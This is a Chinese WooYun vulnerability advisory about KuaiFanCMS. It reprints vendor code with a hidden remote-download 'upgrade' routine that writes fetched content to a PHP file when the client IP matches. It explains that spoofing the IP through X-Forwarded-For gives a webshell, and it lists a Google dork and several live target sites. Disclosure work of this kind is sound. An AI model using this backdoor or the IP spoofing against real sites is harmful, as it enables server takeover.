当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-074873

漏洞标题:KuaiFanCMS 手机建站系统前台getshell(demo沦陷)

相关厂商:kuaifan.net

漏洞作者: 存在敏感词

提交时间:2014-09-03 16:09

修复时间:2014-11-29 16:10

公开时间:2014-11-29 16:10

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-03: 细节已通知厂商并且等待厂商处理中
2014-09-08: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-11-02: 细节向核心白帽子及相关领域专家公开
2014-11-12: 细节向普通白帽子公开
2014-11-22: 细节向实习白帽子公开
2014-11-29: 细节向公众公开

简要描述:

KuaiFanCMS 手机建站系统前台getshell(demo沦陷)

详细说明:

问题出在 include/libs/sysplugins/smarty_internal_data.php的第425行

if ($_GET['upsmarty'] == "upgrade") {
if (defined('KF_INC_PATH')){
require(KF_INC_PATH.'/libs/classes/cdn.ip.php');
$_onip = gethostbyname(base64_decode('d2FwLmt1YWlmYW4ubmV0'));
if ($online_ip == $_onip || cdn_get_ip() == $_onip){
$_html = file_get_contents($_GET['html_url']);
$_html = mb_convert_encoding( $_html, 'UTF-8', 'UTF-8,GBK,GB2312,BIG5' );
if (!file_put_contents(KF_ROOT_PATH.md5($timestamp).".php", $_html, LOCK_EX)){
$fp = @fopen(KF_ROOT_PATH.md5($timestamp).".php", 'wb+');
if (!$fp) exit('-1');
if (!@fwrite($fp, trim($_html))) exit('-1');
@fclose($fp);
} exit(md5($timestamp));
}
}
}


从这里可以看出$_onip是从一个域名获得的,经过base64解码,这个域名是demo站的域名。如果cdn_get_ip() == $_onip,就可以远程下载文件并存为本地的php,连文件名都返回了=。=
看cdn_get_ip()这个函数 在/libs/classes/cdn.ip.php中

function cdn_get_ip()
{
static $ip = NULL;
if($ip !== NULL){
return $ip;
}
if(isset($_SERVER))
{
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$arr = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
foreach ($arr AS $ip){
$ip = trim($ip);
if($ip != 'unknown'){
$ip = $ip;
break;
}
}
}elseif(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$arr = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
foreach ($arr AS $ip){
$ip = trim($ip);
if($ip != 'unknown'){
$ip = $ip;
break;
}
}
}elseif(isset($_SERVER['HTTP_CLIENT_IP'])){
$ip = $_SERVER['HTTP_CLIENT_IP'];
}else{
if(isset($_SERVER['REMOTE_ADDR'])){
$ip = $_SERVER['REMOTE_ADDR'];
}else{
$ip = '0.0.0.0';
}
}
}else{
if(getenv('HTTP_X_FORWARDED_FOR')){
$ip = getenv('HTTP_X_FORWARDED_FOR');
}elseif(getenv('HTTP_CLIENT_IP')){
$ip = getenv('HTTP_CLIENT_IP');
}else{
$ip = getenv('REMOTE_ADDR');
}
}
preg_match("/[\d\.]{7,15}/", $ip, $onlineip);
$ip = !empty($onlineip[0]) ? $onlineip[0] : '0.0.0.0';
return $ip;
}


可以看出ip是可以用x forward for伪造的。 所以,可以伪造ip然后getshell。

漏洞证明:

google inurl:index.php?m=huiyuan
能找到很多使用这个程序的网站。
举例:
http://wap818.com/
http://3tel.cn/
http://www.g3ey.com/
http://h4747.cn/
http://i.douguan.cn/
http://nxh19950805.com/
http://menghuan.asia/

QQ截图20140901202237.png


官网demo shell

QQ截图20140901202340.png

修复方案:

做好ip判断

版权声明:转载请注明来源 存在敏感词@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-11-29 16:10

厂商回复:

最新状态:

2014-09-09:正在处理

2014-09-09:已经修复